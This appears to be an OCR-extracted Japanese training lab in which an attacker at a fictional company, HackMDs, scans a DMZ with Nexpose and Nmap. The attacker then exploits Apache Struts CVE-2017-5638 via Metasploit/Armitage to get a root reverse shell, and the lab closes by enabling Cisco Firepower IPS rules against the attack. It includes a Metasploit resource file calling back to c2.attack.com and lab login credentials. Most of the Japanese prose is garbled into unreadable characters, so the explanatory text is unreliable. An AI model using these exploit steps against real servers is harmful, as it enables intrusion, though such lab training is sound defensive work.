FERIDREDIC [RFELTRF v (SAVE & SCAN)] TlE7%H [RTF (Save)] 29V voLIzi5E &, LEBO RIBHEFIJVvILTH AL
(HackMD) 12 ZEL. ZFDH A FEEIRL TRAX YU EETTINERAHYET,
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10. RF¥vUMSETLES, LAR—R®D [SETLIE=7+ Y (COMPLETED ASSETS)] 93 arFTcRyO0—/LL, AETH4— vk R
TLD IP PRLREIYYILET , BT LERAX v DFERARTINET , ROAFIIL, 198.19.20.5 L AT L THYMNIFET B
BPEOHERLTNET,

SCAN PROGRESS ©

Started Assets Vuinerabilities Total Elapsed Scan Progress Scan Engine Scan Swatus Downlcad

®°

Mangal 1/12/2018 730 PM 1 24 13 mnutes 2018744PM Localscan Completed successfully

SCAN ENGINES STATUS

Address « Port Engne Scan Status

2

COMPLETED ASSETS ©

Address Name Operating System Vuinerabdétes Scan Daration Scan Status Scan Engne Authentication

4 m 169

[

11. LiR—bERHO0—)LLT [ia551E (VULNERABILITIES)] £ avIZ# B9 5L, Nexpose [C& > THESNI-MEBHED) X EFE
RBTEFET, TOHITIE 2—4 vk DMZ H—/\IZFFETET 5 Apache Struts DRESEHELEEFENTULET,

VULNERABILITIES

Vulnerabdity Severity hstances

Showing 110 10 of 24 Rows per page of 3

3E: Apache Struts D fESEHEMNRTINTULVELE S (L. Cisco Firepower IPS 7R —H 3 TIZERIZA>TULNT, DMZ 4—4 vk
H—/\IZTEFE T S Apache Struts DEFS1EIZ Nexpose M7 VLR TELHNESIZTAVISN TWSATREEAHYFE T, Thld Cisco
Firepower B TICHEZFHEIL TLDEVNSITETHY . BOIETIEIHYFER A, LI TIE. EBED YL T ILAERRICHEET S
K32, ZORYS— FHOLavEADITLET  AFYUNETLTHIDMEBMENR OMSLRWMGE L. SROHEEMIC Firepower IPS
RY—%2EBTHHEERERLTIZEL,

REDVRTLIZIFEAOHDIMESBENBYET  AHDIEDYRVIZHEEINDELU AT LNEEEL., TNEMALKITHZEFIT
CAETRTEETT . BEINATEEHE BRI IO/ FEBLEEDEEARARTHADITZFD-HOTT,
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12. SHITEHEMLMESBMEERRERRT BICE. LR—FRADORHD Apache Struts fE5514E) &)V ILET

ts Content-Type arbitrary command execution (CVE-2017-5638) on 198.19.20.5

Apache Struts Content-Type arbitrary command execution (CVE-2017-5638)

che-struts-cve-2017-5633 PUBLISHED Mar 9, 2017 EXF TagILiT 2P

wal (10 Mar 9, 2017

INSTANCES

Port o Kay Proof Last Scan

E:COMEFBEICRET AL AR—TIE, [ERBA (Description)] 223> O TFIZ, ZOMEFEHE [JE—rMNSITIRXTOA M HE (remotely
exploitable)] ERFRENTWET, Chid. KBENI—SYMNIFTIELALTIVRATOS NS BRICEEICHYVET  KBHIZELTIE.
REBELDIRET)E—FADIVRTOA L TESRBUENBLEITED-HTT,

13. Rapid 7 Nexpose 7 T4 —av(Zxtd % Kali Linux Web T34 w9 avEHLET,

HEDHFEHREE, 1V F—FVERETILETTEHREONVET, 1zLAIE SamSam SUH LUz 7ICEERFITEN TS
JBoss DIfEZEME L. Google #FR T /status&full=true ELVIEUEFRALTRDIFTZIENTEET,

FEDH

COUFIFATIE RTIVRTOANTELMBUERBENFES DL F—TIMRRBISHL TGRABLEREERITI OV ENHDH
EERUEL - WERIEHEHAIZELSE, Y=L OTTO—FEE LRG> TH, AFROFIETIIAOOBEEERMLET,
CHLUBEDLFIA TR ARREMBHERF v DRERICEINVTIIRTOS LTS, BMKEOHERLET,

BRELHNIE RORXR—CDOIR—FR #5230 - Nmap OBELF T L3y €923V ITRT . NMAP 8 &U Nexpose V—ILRZED
AT avEHLTHTIZEL,

F O REHICKBHFEE 100 % PFHTESHERTLBNCEERBITHAENEETT . AT T(NALT  T7ATI+—ILEED
TO/A0—Z&o T NENEDURIEERIE S EIEAEETT 1220, VRATLENEOSFERATELLSICT L, BICHIHEE
DYRIIIHEELET,

DFIF 2 NETLELE,
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VA 2: R—FR 2930 - Nmap DEEGAH T Iy

1. RYRT—VZFRFZ v LT BEPORRAMNERELET
nmap -sP 198.19.20.0/24

is up (0.00045s latency).

scan report for 198.19.30.255

is up (0.00039s latency).

done: 256 IP addresses (256 hosts up) scanned in 15.26 seconds
:~# nmap -sP 198.18.128.0/24

Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-01 23:06 EST

Nmap scan report for 198.18.128.1

Host is up (0.00049s latency).

MAC Address: 00:50:56:00:00:01 (VMware)

Nmap done: 256 IP addresses (1 host up) scanned in 2.11 seconds
:~¥#

2. pATLAVEMELEUT® 2 2OIARURFIZEALT, FEDR—ERAXVYLET,
nmap -p 80 198.19.20.5

# nmap -p 80 198.19.20.5

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-12 20:56 EST
Nmap scan report for www.ad.hackmds.com (198.19.20.5)

Host is up (0.0042s latency).

PORT STATE SERVICE

80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
# i
nmap -p U:53,137,T:21-25,80,443 198.19.20.5

# nmap -p U:53,137,T:21-25,80,443 198.19.20.5

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-12 20:57 EST
Nmap scan report for www.ad.hackmds.com (198.19.20.5)
is up (0.0028s latency).

STATE SERVICE

closed ftp

open ssh

closed telnet

closed priv-mail

closed smtp

open http
https

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
# 1
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3. BEDFI—FYk IP TRLRATHWTWSR—,ERF YU LETS,
nmap -sS -p U:53,111,137,T:1-65535 --open 198.19.20.5

# nmap -sS -p U:53,111,137,T:1-65535 --open 198.19.20.5

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-12 21:00 EST
Nmap scan report for www.ad.hackmds.com (198.19.20.5)
Host is up (0.015s latency).
Mot shown: 65530 closed ports
STATE SERVICE
open ssh
open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 6.77 seconds

# i

IP 7RL X, BHLVTLYS TCP/UDP FR—HIZBIL TIRESN - EEEDEREHR . V—vIL TP =714 (Facebook. LinkedIn 73
E)ZET HEMBERIL. HBENI—S NI TEZHERETOT7AILEERT B-OIZFERASNET, ROSFUATIE., 53—
Tk YDA DMEEEEIELET,
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DFIA 3 ARV TUR 3T :\T v xR D—9 Y—ERZEENOHE
EXS)

SOV FIFTIE, Web Bl —N\ERBTH7TO—FERYET ChERIYYa FUR JSTERUVES, COT.HEBETHD
Mr. Orange ($7%12) (X, SETFLRYIT—Y RAXvFEMBHERF v FEFEAL T DEGEREI TITETLTWET CFUE 2),

=M1 Mr. Orange [& HackMDs DMZ [=xtL Tl Masscan 'V —IL&E4TL, R—t 80 TIREL TS Web Y—/\ZFHRLEL -, RIZ
fESEEHNRAL REYFTEREITL. SEHITHIRIDIEFEEEFK R LELIZ, Mr. Orange (. FRLIEFEDSEREEKRGHEFEIZD
WTHRELELT=, 1. Apache Tomcat DMZ Web H—/NTEITEINTLVS Struts D/A—Pav(tHYELT =,

ZZT Mr. Orange &, R 3N 1z Struts DHESEMHEIZH T 2REFELLTIDLF)A D Metasploit Y—)LEFERL. THVRTOAME
TFOWET, FhiZEY Mr. Orange [E. }fi584 DMZ Web H—/N2aT VR Sz S T7 IR TESLLSIZHYES . COVFIADEE
B3 T BESNT- DMZ Web H—/1\&7—r7 1/ ELTHERAL. HackMDs Ry —JRADD L AT LIZESHITRER Y
TBHHEERLET ERVFNRBDFEMICONTIESFIF 6 THEELET,

IHVRTASREF HBEBFERATRI—D REI— A THELRBEEFIALTHREE TV AER RO VAT LTT—4
R—=R A2z a3 0 PYE—rPSDI—FETHEDELELRIFTHREESIEEIL., BEERIITATATT . BHEENOIIR
TOAME SESFLFETITICENTEET, V517U MADKEL Web WEDMICZ, 32— vhD DMZ RykT—ITYR=UJL
TWBAUA—RYMIIY—ERZEANSTIRTASNT B HELHYET . EBENREE TR EFERAINDIRIERFET 511,
INVFER CRATLOEH. BUEEX1YTA TIIVTAADEBEANTARTY

IHVRTOMEETCEEOHREIZIE, BAEFANMNEELEETYT , Metasploit LEDY—ILEFERTAHET, EHTHETRE
FRLELTREATESLLSIZHY . TR TO4k TOERN LU TINITEZE=H . AFIILORENKESE (RIYTF 3T41)TH. 72704
FRERICEDLIERIZOVTCERICERT IV ELR FEICEMTRBE B ITAIENTEET,

R

CDIF)AEERT I 5L Metasploit ZERALTRER DY —/\ THRTOAMEITo=2&I2HYET, ZHIIT Metasploit @ GUI A—
N—LATHS Armitage ZEAL T, REBEALET . ChoDRTYTIZIE, Struts DIESHBMHA T a> DFER. HBHEDRTE. KE
DEENEENTT . WEMNE T 5SE, Mr. Orange & DMZ Web H—/3DaTUK Lz)b 7O REERBL T, HackMDs DMZ vk
T—=ID)I—RIZTI TORRTEDLSITHYET,

ZED DMZ IF. £ TE AWV

WENTET LA T, RENZHEHAIZEIYEZ T, DMZ 4 —/\%#8F 3% Mr. Orange #RHELTHEILET , £I Jumphost 12745
XL T. Cisco Firepower Management Center Z#BiEE 3, KIZ. BE&ID Struts TORTOAMERE TESREARMNL IPS R —%4E
BLET HLLY IPS RUS—FBALI=EZAT, Mr. Orange HNEE Struts TVRTOAMERA D E HWENTEL>TNSIEN
HhYET,
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IPS (&, #EEEA LIS RICOANREREBELET , Z<ONAMNY IPS TIE—BINLKEHHMNTEDRSITH>TLET A, 24D
IVA—T 54X IPS Tk, HATIREICEDE TFHTRETILENHYET, ThICKY, ERT—RNICERIFUNTSENT
LWBREEE M TIH K TOREEFDOBEMLGIEEZEYICRETESLIITHEYET, —A Cisco Firepower Recommendations 0
BEAETIE., Ny TRRYNT—IERO, U FEBIRATLEDHEREDRR TOAT7A) VT FEZEFALT, BHEOHYH
L EDESBHHMERNCT RENEHIBLET , ChIZkY . RARL IPS R —%2ABL T, RELLZVWT YN ERICRETEDL
SIZYET,

ZDIFIFIZIE VO DAR—FRBEENEENTULET . RIDAR—FREE TIX. Firepower Recommendations # HackMDs 0
IPS RS —DBEEARISERT S HEEHRELET . 2 BEOR—FXEZ T, Rapid 7 HEDEMADHEFHERFvF& Cisco
Firepower ##& L. B EDIEREICEFET TS Firepower NESITHRETESLSICTIEHRLZHIELET . BRIC. WEBEHLELT
NDEERETETVET, T TIZBELLZVRTLES — Iz ELTHEAL, —7Yb RubT—0ESSITEKERYNT B E%ERL
ES S

I JU—2R
WEEA)Y—X 1:Kali Linux Rolling Edition 2017 (F74ILED A2 X b—)JLIZ Metasploit K& ENB)
WEEH)Y—R 2:Rapid 7 Nexpose 71X ~3 % Ubuntu H—/\
S—7yMAY—2Z 1:Ubuntu #3479 % HackMDs DMZ #—/X
Fr48)'))Y—X 1:Cisco Firepower Management Center (FMC) R 7 7547V A

F54E1{I1)—X 2:Cisco Firepower Threat Defense (FTD) R T7 A 7 94— IL (NGFW) RET7 TSA4 7 X

FIIE

ZDFRTIL, Mr. Orange (H7f=) AS, F VA 2 TSI T Struts DESHBEEFEFRALET . ZYIZ Armitage & Metasploit Z{#
ALTIVORTAaA b V—ILE L, WBEZFIBLET . TVRTOA Y—ILIZHEDF T 3%/ EL. HackMDs DMZ H—/\%# 1K
BLET, TVRTAAERERITT HIET, Hackmds.com Web H—/\IZxF 5, avUR obhbDI I Ib—k THORRERERET
=FY,

COY—NEVWTHhRETIVELHIDTIE?
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IHRTOA DR
1. Kali Linux —/\ZHEHELET .

2. TRIMNTBERTHOBRICAYN—IZHAE—IFIL IZaL—F 7AAV(EMD 2 BB DT AA)EH)vILT 2—3FIL 91>
KyozMEFd, R TEICHAIRBETIaE2)vo0 . terminal ITREL T, 4—3F)L 7Y —2 3 %1E T 2EHTEET,

Q| *l
3. Armitage ZEEENT (2. #—3F /LT msfdb init AT FZEZETL. Metasploit T—2X—RE WL T ILELNHYET . T
IZEBLTWSEEL. MELERETT,

File Edit View Search Terminal Help
:~# msfdb init
A database appears to be already configured, skipping initialization

~#

4. B—3F)L 94K armitage ¥ FZEA AL, Enter 23 LET,

5. Armitage B9 3 RvT7vT RyOVZRMRREINET , [#EH (Connect) ] REVESVVILET,

-~ Connect... * . -
Host h27.001
Port 55553
User msf
Pass X
Connect Help

6. [A Metasploit RPC server is not running or accepting connections yet (Metasploit RPC H—/ AT EIL TLVELA, FIEEHE
ZFFFTOERA) IEVWIRYT T ITHRRRINET, [[ELV(Yes)] #9)vILT RPC H—/NZEELET,

\{q Start Metasploit? [ 2

g A Metasploit RPC server is not running or
0 not accepting connections yet. Would you
like me to start Metasploit's RPC server
for you?

MNo || ¥es I
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7. B—Ff(Z, 127.0.0.1:55553 2P THDHI LA Armitage TV RIIZRRSNET, TRYSLATERIZA—REShdE, 7T
F—3y 94RO TED [a2Y—)L(Console)] #7112 msf > OV TR FTINE T, ThIZIFHZ KT 30 WIEELINZ15

BABYES,
“mlP Applications (W Armitage B Terminal El

H Armitage

Armitage View Hosts Attacks Workspaces Help

> [ auiliary
» (& exploit
» (& payload
» (& post

8. [AvY—IL(Console)] 3T D EDBRETF AL RyHR(Tstruts JEAHLET , THRTOA~ F—ER—X AT, struts (ZBHEF
B2EDOMBRINET  BEICIGL TR DY A REEREL T,

9. struts2_content_type_ognl EWSTHRTOARELTILIYVILET  KEFERELGIIDIVRATOMCOBE IR IS
FTo CDVAVRITIE THRTAADERBAZFERL. RB T RIHREA TV EEBETEEF T MHEICKLTI1URFIET L
FOULTHAREEETHIELTEET,

™

Armitage View Hosts Attacks Workspaces Help

¥ (& exploit
v [ﬁ‘ multi P
v (& http ’

struts2 content type ognl

| struts2_rest_xstream

_| struts_code_exec

| struts_code_exec_classloader

| struts_code_exec_exception_delegator
| struts_code_exec_parameters

| struts_default_action_mapper

| struts_dewv_mode

| struts_dmi_exec

| struts_dmi_rest_exec

| struts_include_params

struts

T2

Console X
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10. SOIHRFTOALTIE, [RHOST(VE—k RRF) T4—ILEEZ T LYY v- L. www.hackmds.com (4—4" v+ TS hackmds
DMZ Web H—/\)%RELE T, £f=. [RPORT]|(Z—4 Yy EDEEIFEAT B E—FR—K)IZFR—k 80 ZE&EL.

[TARGETURI] I /clientportal/fileupload/upload.action 1% ELFE T, REIC. T2 a> D [J/N\—REHEFEA (Use a
reverse connection)] #A4 IZLET,

H Attack

Apache Struts Jakarta Multipart Parser OGNL Injection

This module exploits a remote code execution vulnerability in Apache Struts version 2.3.5 -
2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed via http Content-Type
header. Native payloads will be converted to executables and dropped in the server's
temp dir. If this fails, try a cmd/* payload, which won't have to write to the disk.

-

Option 4 Value
EXE::Custom +

LHOST 198.18.133.6
LPORT 4060

Ox
RHOST + www. hackmds.com
RPORT 80

TARGETURI

vYrvoi

/clientportal/fileupload/upload. action

Targets: | 0 => Universal v

Lz, Use a reverse connection

__ Show advanced options

| Launch

FE D4R DR TERNC [#E) (Launch)] RV R ZALMEE(E, [ (Attack)] T4V RO DY A XEEET 2h . RAIELTIZELY,

AT arm [VA—REHZEME A (use areverse connection)] 4V IZF 5L HBED IV EDY/IN—R Do )LEHKERT XA
AO—RABIRSNET, SRVPORT/SRVHOST FBRE (L DI=HITERALET

11. COHETIL, Armitage A5, —EBDEHMAERIRESN TLBRF AV moduled.rc ZFUHLET . AT L3> T, BE@ FEBD

B—ZF I TAEI)VIL T FHLWVI—SFILERHE. froot TALYR) D BTN ]aY 2 REEITL T, moduled.rc 774 ILHNFETE

FTENMERTBHENTEET, moduled.rc 77 ILDARERTT BHIZIX, cat moduled.rc 1ZE4TLET ., moduled.rc Z7AILD

ABEDBIELUTISRLET . COT7AIIZELT. A—HILDOKEY—/\DIGFT. FAT I R—NMiE RBITHELT—INE5IC
BoNET, WBEZMIRIARICOIFMILERTITAVEFHYEE A,

cd /root

cat moduled.rc
exploit/multi/http/struts2_content_type_ognl
PAYLOAD linux/x86/shell/reverse _tcp
RHOST www.hackmds.com
RPORT 80

TARGETURI /clientportal/fileupload/upload.action
LHOST c2.attack.com
LPORT 8443
ExitOnSession false
exploit -j
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12. BYGNFGA—BETRXTHRELI=D T, [£E) (Launch)] REVEVVILTIVRT O MERIBLET .

13. [A~vY—JL(Console)] IZRA &, [TVRTAA R (exploit)] EVNSFHLLIAVFIAHE, REORERI AR RINET . HLD
DAVRIZHENAVE 1 —F E=A FAAVHRRTEINTUONIE, SATLDOIIRTOA AR ILIzCEIZHYET , BHTES
Mr. Orange. &% f=& HackMDs DMZ Web H—/Z® T BIL—k PHOERICHETILELT !

H Armitage
Armitage View Hosts Attacks Workspaces Help

¥ (& exploit
¥ (& multi
¥ (& http
_ | struts2_rest_xstream
struts_code_exec 198.19.20.5
| struts_code_exec_classloader
struts_code_exec_exception_delegator
struts_code_exec_parameters
struts_default_action_mapper
struts_dev_mode
| struts_dmi_exec
struts_dmi_rest_exec
"} struts_include_params

struts

-w

Console X | exploit X

exploit( ) » exploit -j
] Exploit running as background job 6.

Started reverse TCP double handler on 198.18.133.6:15881

Accepted the first client connection...

Accepted the second client connection...

Command: echo thAiRMjPP459zwus;

Writing to socket A

Writing to socket B

teading from sockets...

Reading from socket A

A: "thAiRMjPP459zwusS\r\n"

Matching...

B is input...

Command shell session 1 opened (198.18.133.6:15881 -> 198.19.20,5:55560) at 2018-01-12 22:19:32 -0500

exploit( ) >

14. FAWEUNA—R £y2avEML T oL Byl avEE L. RRMNEEETEDLIITHRYELIZ, BIET BICIE. FLVE=4EHEY
JwHL T, [>z/L 1(Shell 1)] > [&{E (Interact)] DIEITERLET . THRTOA SN Iz2—F Vb DATLEREETS. [PTL 1
(Shell 1)] &LV 3 BB DDAV RFOMEEET,

Interact
Upload...
Pass Session

Services
Scan

Host Post Modules

Disconnect
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15. LKDOMaATURERTTEE 4= Yk H—NIHTEREHEIL—k PURANTRETH LI ENHLMYET, fzEZ £, whoami,
pwd, netstat -rn AYURERTLET , UTHAATURDOENERDOHFITY . Is %4 & Linux DEFBDOITURAO, LLFIZRY Linux
F—bk —tDATURGEEZBRIZETLTATESL,

struts

- v

struts_include_params

|’ Console XT exploit X TSheII 1 )q

$ whoami

root

7 :Mr. Orange A DMZ vk T—2IZR A LTz . HackMDs (ZERIL L= &ITHRYFET B H LK GG R EFEIL, 2205
MOIFESFERYET—Y TNARIZERYFLTRETHIENAREITLEVET . COLFIADRRICHIEEL LIV T, COM
RICDOVWTERBALET . COT—XDHE(L., > FUA 5 THiThhET,

Linux a<>kK F—k o —F

pwd RAEDEETALINIERTT S,

uptime DRT LBREREERTT 5,

cd .. INAED 1 2 EDTALIR) LANIZEENT D,

Is TALIONIADIT7AINE)ANT B, THIVEDABEHRET 5,
whoami BADA—YEZERTTH, ATV LTWBI—HERhMLEWNMES,
man aAIURDI =TI, Ts1BAEIDEFFY =LMGEE 6]: Tman Is ]
date BitE#&T9 5,

Is -a BLI7ANEETITRTDIFAINERTT S,

grep ELTWBIRERYIAL, 4l Tgrep 192.168.1.1]

ps TaERDIA49) RFyToavbERERTT 5,

headl 27MILA1 | F71ILDZRYD 10 TR KT S, $5l: head joey.pdf

taill 774 IL4 |

T7A4ILDERED 10 1T7EFRRTT D, §l:tail joey.pdf
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BEABEIZES>T Web YY—RZEFFHIT S

Q. Cisco Firepower ZF AL TEIEOREEZHEHLET, Z0OEZF TIL. Mr. Orange M BIELI-EZEHEL. BARMAK )L —
(IDS)ZFR/EL T, BAM#HNR)L—(PS) EFEIILET , 1= Firepower AV — )LEREL T, BBRHEDHEIV AT LEREL.
Firepower Recommendations A%, IPS O BEFRBORMRELTHTEL DMZ H—N\EZHELI-IELEHRLET . TIEBBLELLS.

1. Jumphost(Kali Attack H—/\TIE#ELY) T Web TS50 Y% BE, [Firepower] 27 #7=(E https://192.168.30.5/ H, 5 Firepower
Manager [C7JE2RALET,

2. dA—%4%:admin, /SRXT—F:Clsco12345 ZfERALTAY 1 LET,

Login
Usermame admmin
Password sessennnes

Log In

3¥ : TExisting Session Detected (BEED Y arMRBEINFELT) 1IEWS AV E—URRREINT=5, [#1T (Proceed)] RA %Dy
ILTHATLET,

3. BRIZI+—HRLIzY I — FyialR—FRRREINET, EBELLTAT AL, EXRGREERDITILEELET . COES
TlE. [BAAR2 bk (Intrusion Events)] #7491 vo LT, IPS IL—)LERERLET,

Summary Dashboard

Provides a summary of activity on the appliance

Network Threats » Status Geolocation QoS %

4, ZITIHEEOBEENKRTSNET, §EIL Mr. Orange @ IP 7KL X 198.18.133.6 ARENFET . IP PRL R 198.18.133.6 &
YUl T MBEZRAELET,

" Top Attackers

Source IP

Bl 195.18.133.6
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5. WEOHMNIRTINET, ZDELSIZ. Firepower [Z&> T, Apache H—/ () Struts DIEFEAREFAShI-CENETEINE
Lz BRICIEBERIBHLLBHBODENR TSN TVET  COLSHEELREL. AEEHULIBETT,

Message ~ Priority Classification Count
SERVER-APACHE Apache Struts remote code execution attempt {1:41818:2) high Atternpted Administrator Privilege Gain 1
SERVER-APACHE Apache Struts remote code execution attempt {1:41819:2) high Atternpted Administrator Privileqe Gain it

6. RIC, SHICEEMEZREET BICIE, [BEEEHEROIEDRIT (Attempted Administrator Privilege Gain)] &, WEFhh D2 5EZE S
DooLET Vv THE. BROEEE, i, ERALEDHANRTINET . Chi [ETFAAUTAEEELANIL 1O
Z R (high priority/impact level 1 threat)] TH 5. MUINBETT, RIZ IDS # IPS IZEHLET,

Jump to... ¥

[ ~vTime % Priority ¥  Impact ¥ Inline ¥  Source IP % Source *  Destination *  Destination *  Source Port / ¥  Destination Port /
Result Country Ip Country ICMP Type ICMP Code
$ E 2018-02-16 19:32:14 high 1 Bf 196.18.133.6 8§ 198.19.20.5 45145 / tcp 80 (http) / tcp

E:TI4ILED Firepower IPS RS —(d, COBBOZDOMOKREEZBEMICHHEHLET , REOMSEERILT 50, TI4ILE
® IPS JL—)LEFEL T, Firepower QS HEFEITENICTILELHYFES, [10 T4 R (Inline Result) ] TN @EHAER
IREN TGN I EM S AER LG EIN TGN EN LMY ET,

7. EEOATEET [R)—(Policies)] #7%&5) L. [77E Rl (Access Control)] FRYTH Y A=a—h5 [RA
(Intrusion)] Z:&RFTBL. IPS RYL—DBRRSNFET,

IOverview LGEWSTEE Policies EBEUEES

Access Control v Network Discovery A

Access Control

Intrusi Dashboard

Malware & File ry of activity on the appliance

8. [HackMDs MTF 7+ )Lk IPS 7R1) & —(Hack MDs Default IPS Policy)] ELVSRUS—MHEIENHMYET , CORYS—FEFEL
FY, ERFETAIA—ILL. ETAVE V) vILTHRELET,

Overview Analysis JVIGELM Devices Objects | AMP Intelligence System Help v admin v

Access Control » Intrusion Network Discovery Application Detectors Correlation Actions v
Import/Export Intrusion Rules Access Control Network Analysis Policy

¥ Compare Policies ) Create Palicy

Intrusion Policy Drop when Inline Status Last Modified \\ X
i Used by 1 access control policy 2017-12-22 17:08:12 : -
Hack MDS Default IPS Pol L >
ac sra avey No Policy up-to-date on all 1 devices Modified by "admin" J - d
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9. IPSHKRYL—FLEEIF BIIL, [/RU—1F#R (Policy Information)] 285 [1> 54> DBEIZK Ty T (Drop when Inline)] Fxv%
RyHYREFVIZL, A=a—h5 [JL—IL(Rules)] ZBIRLET,

Overview Analysis JRGUISEEE Devices Objects | AMP )eploy f, System Helpv adminv ‘

Access Control » Intrusion Network Discovery Application Detectors Correlation Actions v

Edit Policy: Hack MDS Default IPS Policy
Policy Information Policy Information <m "

Rules (j— N Hack MDS Default 1PS Policy

Firepower Recommendations

Description
@ Advanced Settings
Drop when Inline O h
@ Policy Layers
, Base Policy |Ba|anced Security and Connectivity ;_I & Manage Base Policy

& The base policy is up to date (Rule Update 2016-09-06-001-vrt)

This policy has 8087 enabled rules ¢’ Manage Rules
=% 105 rules generate events s View
XK 7982 rules drop and generate events » View

No recommendations have been generated. Click here to set up Firepower recommendations.

Commit Changes | | Discard Changes |

E:IDS/IPS V) a—2av(Z&koTIE, IPS E—REEMIZTB=HDF AT REVUNHBIGENBYET , Ch(FEERRIZ, RUF—
DD T=HICEELEEZ DR RIEZITHRESND LS, REEZFIRTI-DICFERAINET, COT7TO—F Tl RYRT—HD
RENEEINTOERA, CNIE—REIIZ IPS lite EMFIENDED T, EBEL T YN EFNA TSRV TI—OFRETEHEDTIE
HYFEHA.

10. YA N—[FHTIE. BREHEDIL—IVEFERTIENTEET TOHO. REICREGTIL—IILEHFETHIENRBITHEYVET,
ZOFITIL, struts ZRALEREIZHTEIRTOATLavEFBHTHELET . F1ULPRERYIRT struts EVVSBEEEEZRE
L. struts L—ILEHELE T, L—ILIZToILAEER T BIZIE, Enter F—ZFHLT=ZELY,

¥ :Cisco Talos (. REDRHFODEFHIZEOWT, RAREL Y —FrE#BGEMICEHFLTULET,

Rules < Back J

Rule Configuration Filter: [ struts

Rule Content 0 selected rules of 43

Category < —
— e v C I 4 O~ Ovw .
5 - — Policy ».
app-detect Rule State Event Filtering Dynamic State Alerting Comments I _I
blacklist [ 6ID sID Message a = WYWO

browser-chrome "
0O 1 20859 SERYER-APACHE Apache Struts

&
==
browser-firefox allowStaticMethodAccess invocation attempt J

browser-ie 1 21073 SERVER-APACHE Apache Struts
allowStaticMethodAccess invocation attempt
browser-other

r
SERVER-APACHE Apache Struts arbitrary OGNL
browser-plugins 01 27575 p ; 4 =
remote code execution attempt
browser-webkit 0 1 _ SERVER-APACHE Apache Struts g
3
content-replace Cookielnterceptor classloader access attempt

1 44327 SERYER-APACHE Apache Struts freemarker tag =
J OGNL expression injection attempt

decoder &

exploit-kit
= SERVER-APACHE A he § ts f ker t.
file-executable -~ I mE! 44329 HE Apache Struts freemarker tag
OGNL expression injection attempt
Classifications
SERVER-APACHE Apache Struts freemarker tag

5 e 0O 4433 =
Microsoft Yulnerabilities 1 4330 OGNL expression injection attempt

Microsoft Worms 0O i AR5 SERVER-APACHE Apache Struts freemarker tag
Platform Specific OGNL expression injection attempt
Preprocessors O i 17533 SERYER-APACHE Apache Struts Information 3
_ Disclosure Attempt |
Priority
Rule Update K < 1 0of 1 >
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FE:IA—TSAX GL—F®D IDS/IPS Y)2—2a Tl SHIZEHDL T —FrEFMETEET M. TRTOI T =FrEHIC
FTHE X TA TIFATURADMRETELGY  BEELAES>TLEWET , Chik, RvbD—Y LICHEET A REMEN H S
BEMNLTELEHTT BITORIET—0 £FXa) T4 RUD—ERBIZESTEERIIL—IIZEDLE T, IPS EHETEIENARR
b ISOTARIZBYET  CNIEETIDOSRTITVET,

11. FAIARIZEST 43 Y DFERNRBONI=DT. TNEITRTE [AXUMELE MK (Generate Events)] 55 [FRYTLTARUNEER
(Drop and Generate Events)] IZEBELEY , EFTELIZHEZFTVIRYIRZFIVILT, TRTD Struts IL—ILEEIRLET,

— Y @ v @ v w I
Rule State Event Filtering Dynamic State Alerting Comments
Vv GID SID Message a 22
|‘_" SERVER-APACHE Apache Struts allowStaticMethodAccess invocation attempt =)
v SERVER-APACHE Apache Struts allowStaticMethodAccess invocation attempt =
v SERVER-APACHE Apache Struts arbitrary OGNL remote code execution attempt =
v SERVER-APACHE Apache Struts Cookielnterceptor classloader access attempt =»
v SERVER-APACHE Apache Struts Information Disclosure Attempt ad
v SERVER-APACHE Apache Struts OGNL getRuntime.exec static method access attempt =)
Vv L 18931 SERVER-APACHE Apache Struts OGNL parameter interception bypass command execution .
attempt
12, RIZ [JL—ILDIREE (Rule State)] 5 voL. [FOYFLTA R &L (Drop and Generate Events)] #2#RLET,
=2V b A CR¢ o J v | Policy -
Rule Statef§ Event Filtering Dynamic State Alerting Comments
Generate Events = a O MOV

R-APACHE Apache Struts allowStaticMethodAccess invocation attempt

Drop and Generate Events
Disab R-APACHE Apache Struts allowStaticMethodAccess invocation attempt

isable
R-APACHE Apache Struts arbitrary OGNL remote code execution attempt

§ 18 81 18

vV 1 30944 SERVER-APACHE Apache Struts Cookielnterceptor classloader access attempt

vV 1 17533 SERVER-APACHE Apache Struts Information Disclosure Attempt

Vo1 27574 SERVER-APACHE Apache Struts OGNL getRuntime.exec static method access attempt

™ 0 18931 SERVER-APACHE Apache Struts OGNL parameter interception bypass command execution 2

attempt

13. Firepower TlSuccessfully set the rule state for 43 rule(s) (43 EDIL—ILIZH L TIL—ILDIRBEZRELELS) IERFRShT-
5. [OK] Z7)vILTHRATLES .

%

Success

Successfully set the rule state for 43 rule(s)

ok |

5¥:Cisco Talos (. REDRZRFDEBICE DT, FRAREG ST —FrERGMICEFHFLTLET,
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14. 43 {E® Struts JL—ILIZFRLY X AMFFONFSEEFRERBLTEZSW, ShlE, BIIL—ILIZ [FEYTLTARU LR (Drop and
Generate Events)] B ESNT=CEERLET . RIC [R)—1E$R (Policy Information)] 9w 3 5L, A4 DIL—)L R—D
ITRYEY,

Policies sices Objects | AMP Intelligence ¥ System Help v admij

Access Control » Intrusion Network Discovery Application Detectors Correlation Actions v

Edit Policy: Hack MDS Default IPS Policy

Policy Information, v Rules < Ba
Rules v Rule Configuration Filter: [struts
Firepower Recommendatioay Rule Content 43 selected rules of 43
Category

Rule State Event Filtering lj\rnamlc State Alerting Comments
@ Policy Layers blacklist

@ Advanced Settings — L A4 IR 2 v v [—
app-detect j g - Policy

¥ GID SID Message a o OB SORTRW

browser-chrome SERVER-APACHE Apache Struts

1 29859
browser-firefox N allowStaticMethodAccess invocation attempt X
browser-ie M o1 21073 SERVER-APACHE Apache Struts X
allowStaticMethodAccess invocation attempt
browser-other
SERYER-APACHE Apache Struts arbitrary OGNL
wser- M 1 27575 )
browser-plugins - remote code execution attempt X
browser-webkit B i 56644 SERYER-APACHE Apache Struts %%
content-replace e Cookielnterceptor classloader access attempt
decoder F o1 44328 SERYER-APACHE Apache Struts freemarker tag %
e OGNL expression injection attempt

15, | Cemmitchangss | ;e 201w h LT, EEEZIIVRLET, TOVTMIGEL ., 7T a0 [ZEE DA (Description of Changes)]
